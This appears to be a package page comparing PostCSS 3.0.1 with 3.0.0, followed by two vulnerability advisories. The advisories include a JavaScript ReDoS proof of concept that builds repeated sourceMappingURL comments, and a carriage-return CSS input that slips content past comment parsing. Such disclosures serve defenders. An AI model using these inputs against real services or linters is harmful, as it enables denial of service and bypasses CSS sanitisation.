PostCSS version 3.0.1 represents a minor patch release over its predecessor, version 3.0.0, offering subtle but potentially impactful changes for developers utilizing this CSS post-processing framework. Both versions share the same core description: a framework for CSS postprocessors equipped with full source map support, facilitating efficient CSS transformations and debugging. Key dependencies like "js-base64" and "source-map" remain consistent across both versions, ensuring stable handling of base64 encoding and source map generation.
The primary differences lie within the development dependencies. Version 3.0.1 sees an upgrade of the "request" package from version 2.47.0 to 2.48.0 and the "gulp-json-editor" package from version 2.1.1 to 2.2.1. Additionally, "6to5" was updated from version 1.12.0 to 1.12.9. While seemingly minor, these updates often incorporate bug fixes, performance improvements, and new features within those specific development tools. Developers leveraging these tools in their PostCSS workflow, particularly within a Gulp-based build system, might find these updates beneficial for enhanced efficiency and stability during development. For instance, the request package update ensures robust HTTP requests when fetching external resources during processing, while gulp-json-editor simplifies JSON manipulation tasks. Users of "6to5" (now Babel) may find some small compatibility fixes that solve esoteric issues. This incremental update signifies a commitment to maintaining a healthy and up-to-date development ecosystem for PostCSS.
All the vulnerabilities related to the version 3.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.